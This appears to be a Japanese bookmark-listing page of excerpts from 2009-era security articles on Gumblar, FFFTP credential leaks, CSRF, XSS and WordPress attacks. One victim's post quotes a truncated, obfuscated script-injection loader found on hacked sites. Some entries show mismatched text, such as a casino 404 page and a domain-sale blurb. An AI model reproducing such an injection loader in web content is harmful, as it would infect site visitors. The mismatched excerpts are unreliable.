FTP の危険性に関して超簡単まとめ
今日話題になった Gumblar の亜種によって FFFTP の設定情報から FTP 情報が漏れる件で、FTP 自体の危険性と FFFTP 自体の特性、さらに Gumblar 対策という点で少し情報が混乱している状況が見受けられます。そこでその点を簡単にまとめてみました。 去年あたりから、「Gumblar （ガンブラー）」 に代表されるような、FTP のアカウント情報を何らかの手段で盗み出して Web サーバにアクセスし、Web サイトを改竄して被害を広めていくタイプのウィルスが問題になっていますが、今日になって広く利用されているフリーの FTP クライアントである 「FFFTP」 にアカウント情報漏洩の危険性が見つかったということで話題になっていました。 「FFFTP」のパスワードが"Gumblar"ウイルスにより抜き取られる問題が発生 ： 窓の杜 ただ、この問題で、FTP 自体の危険性
1週間ほどハッキングに悩まされております。 私の管理するサイト数件がいっせいに被害にあっています。…
1週間ほどハッキングに悩まされております。 私の管理するサイト数件がいっせいに被害にあっています。 ＷＥＢサイトに下記のようなコードが埋め込まれるのです（念のため転記は一部）。 <script>/*GNU GPL*/ try{window.onload = function(){var Xi3ref6qv5 = document.createElement('s$^$(c($r)i))^p!^!#t^(!'.replace(/\!|\^|#|@|\)|\(|\$|&/ig, ''));Xi3ref6qv5.setAttribute('type', 'text/javascript');Xi3ref6qv5.setAttribute('src', 'h^$$t$^&t^&$))p$)&:$^)/(^/!^t@i@!s(!（以下略） ネット上で同じような被害が多発している旨見まして、手動でコー
CSRF対策は基本? | 水無月ばけらのえび日記
コミュニティーサイト構築に詳しい専門家は、「CSRF対策は基本的なところ。Amebaなうが対策していなかったのは意外だ」と話している。 「CSRF対策は基本的なところ」と言われると、発見も対処も容易であるような印象を受けますが、これは少し違和感がありますね。 半年ほど前の話ですが、弊社 (www.b-architects.com)のクライアントが新規のECサイトを立ち上げるにあたって脆弱性診断をしようという話になり、外部の会社に見積もり依頼をしたことがあります。その際、業界では知らない人がいないような大手会社の診断メニューも見せていただきました。 そこで印象的だったのは、標準とされるプランにCSRFの診断が含まれていなかったことです。標準のコースにはXSSやSQLインジェクションの診断が含まれますが、CSRFは「アドバンスド」プランの方にしか含まれていませんでした。普通のサイトではXSSや
知らなかったらNGなWEBアプリケーション脆弱性一覧 : mwSoft blog
先日、AmebaなうがCSRFという非常にポピュラーな脆弱性を披露したかと思ったら、ここ数日はセブンネットショッピングでXSSの脆弱性と、ID推測による他ユーザの個人情報閲覧の問題が発生しているという噂が流れています。 ユーザの情報を預かっておきながら、基本的なセキュリティの対策もできていないというのは、銀行に例えるなら、お金を預けようとした時に「お金は預かります。ちゃんと保管します。でも警備はあまりしないので盗まれたらスイマセン」と言われるようなものだと思う。 警備に穴があったというのではなく、まともに警備してませんでした、というのはさすがにありえないことです。 そこで、野良WEBプログラマである私が知っている脆弱性を列挙してみた。 私はプログラマであってセキュリティの専門家ではないです。しかも今年の春辺りからずっと外向けのWEBプログラムは組んでません。 その人間が知っているものを並べ
現在進行中の WordPress に対する攻撃の詳細と再現
WordPress フォーラムの http://wordpress.org/support/topic/307518 にて今回の攻撃方法が議論されていました。クラッカーの攻撃手法が解明されていましたのでご説明したいと思います。 と、特に攻撃方法が命名されていなかったので、「現在進行中の WordPress に対する攻撃」のことを今回の攻撃と記載しています…ややこしいので誰かとっとと名前付けてくれないかしら？wordpress.org のサイト構造にあまり詳しくないので実際はもう命名されてるのかもしれませんがw で、先に結論から言いますと、今回の攻撃は権限チェックのバグとスクリプトインジェクションが組み合わされたもののようです。攻撃が成功すると、ダッシュボードから見えない管理者アカウントが作成されます。また、バックドアが仕込まれることもあるようです。 攻撃条件 まず最初に、今回の攻撃が成功す
DDoS、SPAM送信、トロイの木馬ソフトの値段:Geekなぺーじ
迷惑メール送信やDDoS攻撃がビジネス化しているという話は良く聞きますが、実際の値段がどれぐらいなのかに関しては見た事がありませんでした。 色々見ていたら、PandaLabs Blogで様々なネット犯罪が行われる「価格」が公開されていました。 2007年4月(2年前)の記事なので、今とは価格が変わっているかも知れませんが、思ったよりもずっと安価でびっくりしました。 様々な価格が公開されているのが、以下の2つの記事です。 発売元としてはロシアとウクライナが多いみたいですね。 Cybercrime... for sale (I) Cybercrime... for sale (II) 以下、掲載されていた値段の一部を抜粋してみました。 詳細は元記事をご覧下さい。 DDoS攻撃 DDoS攻撃は時間単位で課金されるようです。 最初に10分間の無料評価時間があるので、有効性を評価してからサービスを購
ウェブサイトを狙った攻撃に関する注意喚起：IPA 独立行政法人 情報処理推進機構
－ウェブサーバのアクセスログ調査およびウェブサイトの脆弱性検査の早急な実施を！－ 最終更新日 2009年8月17日 掲載日 2009年8月17日 IPA（独立行政法人情報処理推進機構、理事長：西垣 浩司）は、ウェブサイトを狙った攻撃が継続していることから、ウェブサイト管理者等へ改めて注意を喚起するとともに、ウェブサーバのアクセスログ調査およびウェブサイトの脆弱性検査、脆弱性対策の早急な実施を推奨します。 近年、ウェブサイトを狙った攻撃が継続しています。特に2008年3月頃からSQLインジェクション攻撃によるウェブサイトの改ざんやウェブサイトへの不正コードの設置が多発したことから、IPAはウェブサイト運営者へ向けて2008年5月に注意喚起(*1)を発行しました。 その後も、ウェブサイトの改ざんやウェブサイトからの機密情報の漏えいなど深刻な被害が頻発していることから、IPAでは再度、注意を発す
高木浩光＠自宅の日記 - やはり退化していた日本のWeb開発者「ニコニコ動画×iPhone OS」の場合
■ やはり退化していた日本のWeb開発者「ニコニコ動画×iPhone OS」の場合 一年前、「退化してゆく日本のWeb開発者」という題で、ケータイWebの技術面での蛸壺化について次のように書いた。 iPhoneに契約者固有ID送信機能が搭載される日 （略）こうして退化してゆくケータイWebが、日本のスタンダードとなってしまい、いつの日か、PC向けの普通のインターネットまで、単一IDの全サイト送信が必須になってしまうのではないかと危惧した。 （略）iPod touchでNAVITIMEを動かしてみたところ、下の図のようになった。 （略）契約者固有IDがないとどうやって会員登録システムを作ったらいいのかわからないんじゃないのか……というのはさすがに穿ち過ぎだと思いたい。NAVITIMEからソフトバンクモバイルに対して、契約者固有ID送信用プロキシサーバの用意を要請している……なんてことがなけれ
サイト納品後のセキュリティ修正は有償？ 無償？ | 初代編集長ブログ―安田英久
今日はセキュリティ関連の話題を。というのも、6月にIPA（独立行政法人情報処理推進機構）が公開した「ウェブサイト構築事業者のための脆弱性対応ガイド」という資料が非常にわかりやすかったからです。 IPA（独立行政法人情報処理推進機構）が2009年6月8日に、「ウェブサイト構築事業者のための脆弱性対応ガイド」を公開しました。 昨年は「ウェブサイト運営者のための脆弱性対応ガイド」でしたから、これで発注側向けと受注側向けの、Webサイトのセキュリティに関するIPAのガイドが揃ったことになります。 ウェブサイト構築事業者のための脆弱性対応ガイド → http://www.ipa.go.jp/security/fy20/reports/vuln_handling/ （解説） → http://www.ipa.go.jp/security/ciadr/vuln_sier_guide.pdf （本文PDF
iTunesで買った曲に個人情報が入っているのは既知のこと | Okumura's Blog
Slashdot | iTunes DRM-Free Files Contain Personal Info って，既知のこと。strings や hexdump -C で簡単に確かめられる。 00000000 00 00 00 20 66 74 79 70 4d 34 41 20 00 00 00 00 |... ftypM4A ....| 00000010 4d 34 41 20 6d 70 34 32 69 73 6f 6d 00 00 00 00 |M4A mp42isom....| ... 0002d490 61 74 61 00 00 00 01 00 00 00 00 6f 6b 75 6d 75 |ata........okumu| 0002d4a0 72 61 40 65 64 75 2e 6d 69 65 2d 75 2e 61 63 2e |ra@edu.mie-u.
「GENOウィルス」がヤバい７つの理由。これはもっと騒がれるべき。 - ヌルめのつぶやき
万博·体育(ManBetX)官方网站-首页 出错啦！该资源不存在，可能的原因为 (错误代码：404)
中国、ＩＴソースコード強制開示強行へ…国際問題化の懸念 : 経済ニュース : マネー・経済 : YOMIURI ONLINE（読売新聞）
中国政府がデジタル家電などの中核情報をメーカーに強制開示させる制度を５月に発足させることが２３日、明らかになった。 中国政府は実施規則などを今月中にも公表する方針をすでに日米両政府に伝えた模様だ。当初の制度案を一部見直して適用まで一定の猶予期間を設けるものの、強制開示の根幹は変更しない。日米欧は企業の知的財産が流出する恐れがあるとして制度導入の撤回を強く求めてきたが、中国側の「強行突破」で国際問題に発展する懸念が強まってきた。 制度は、中国で生産・販売する外国製の情報技術（ＩＴ）製品について、製品を制御するソフトウエアの設計図である「ソースコード」の開示をメーカーに強制するものだ。中国当局の職員が日本を訪れ製品をチェックする手続きも含まれる。拒否すれば、その製品の現地生産・販売や対中輸出ができなくなる。 どの先進国も採用していない異例の制度で、非接触ＩＣカードやデジタル複写機、金融機関向け
中国の対米情報テロ活動? 謎の中国製らしきCiscoのルータのパチモノがアメリカ政府機関に多数納入されていたことが発覚→中国製パチモノ自体は昔からあったという噂も - 天漢日乗
中国の対米情報テロ活動? 謎の中国製らしきCiscoのルータのパチモノがアメリカ政府機関に多数納入されていたことが発覚→中国製パチモノ自体は昔からあったという噂も アメリカも何をやってるんだか。 Technobahnより。 中国製のシスコ製品のニセモノが米政府機関で多数発見、FBIが本格捜査に着手 【Technobahn 2008/4/23 00:05】中国製と見られるシスコ製品のニセモノが米空軍、米海兵隊、米連邦航空局（FAA）、米連邦捜査局（FBI）などの米連邦政府機関向けに大量に販売され、ネットワーク障害や火災などの事故が多数起こっていたことが21日までにFBIが情報公開を行った捜査資料によって明らかとなった。 FBIによると米政府部内で確認されたシスコ製品のニセモノとはCisco 1721「アクセスルーター」などを始めとする製品。Cisco 1721はVPN対応のルーターとして政府
ClamXav
The Mac security solution Protects against Malware Blocks Viruses, Adware & Ransomware Single licence key for all devices Multiseat discounts 30 day free trial Download 30 day Free Trial Buy now For Home & Student Use With the ClamXAV scanner heading off any security threats to your Mac, it's easy to get rid of unwanted intruders at home
Norton ユーザーアカウント制御コントロール
Buyer Protection Program When you buy a domain name at Dan.com, you’re automatically covered by our unique Buyer Protection Program. Read more about how we keep you safe on our Trust and Security page. Next to our secure domain ownership transfer process, we strictly monitor all transactions. If anything looks weird, we take immediate action. And if the seller doesn't deliver on their part of the
会社名のSEO対策【料金・費用】
会社名のSEO対策 会社名でGoogle検索を行ったときに、 SNSや口コミサイトが上位に表示されるのは危険です。 悪口が投稿され、風評被害に発展する恐れがあるからです。 少なくとも検索結果の１ページ目は、不特定の第三者が書き込みできないクローズド（閉鎖型）なサイトで構成されるのが望ましいとされています。 TwitterやFacebookも危険 TwitterやFacebookが検索上位を占めている場合も、一定の風評リスクがあります。 それが会社の公式アカウントがあったとしても、 何らかの中傷が別アカウントに投稿されたときに、 上位にランクインしてしまう場合があります。 公式アカウントと、中傷アカウントが並んで表示されるような状況です。 とくにTwitterは、公式以外のツイートが一気に上位に上昇することが多いです。 【料金・費用】 会社名のSEO対策（社名SEO）の料金・費用は、以下の通
顔認証システム - パチンコ・パチスロの真実
バイオメトリクスと呼ばれる生体認証技術は、日進月歩の勢いで進化している。顔認証システムも生体認証技術の一つ。 ○オムロンのサイト（http://www.omron.co.jp/press/2004/s0301.htm）は、2005年の9月まで、顔認証システムの導入例として、パチンコホールを用いていた。来店した客の顔をカメラが捉えるとデータベースの個人情報が呼び出され、ＶＩＰ指定、メダルの枚数管理も出来ると図説していた（パチンコの出玉管理も当然可能だと思われる）しかし、現在では老人介護の導入例と差し替えられている。オムロンは、2004年10月にオムロンアミューズメント株式会社というパチンコ機器会社を設立している。導入金額は最低500万前後から、と言われているが、４０万円のパチスロを１シマ入れ替える代金とほぼ同額である。ホールにとっては安い出費だろう。大規模に顔認証を利用した顧客データベースを
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
フリーFTPソフト『FFFTP』に、8080系のマルウェア感染と同時にID・パスワードを取得される危険性があるそうです : ライフハッカー［日本版］, 仕事も生活も上手くこなすライフハック情報満..
主要ブラウザすべてに影響する「クリックジャッキング」攻撃とは
Twitterのハッカーとのコンタクトに成功―攻撃手口の詳細が判明した
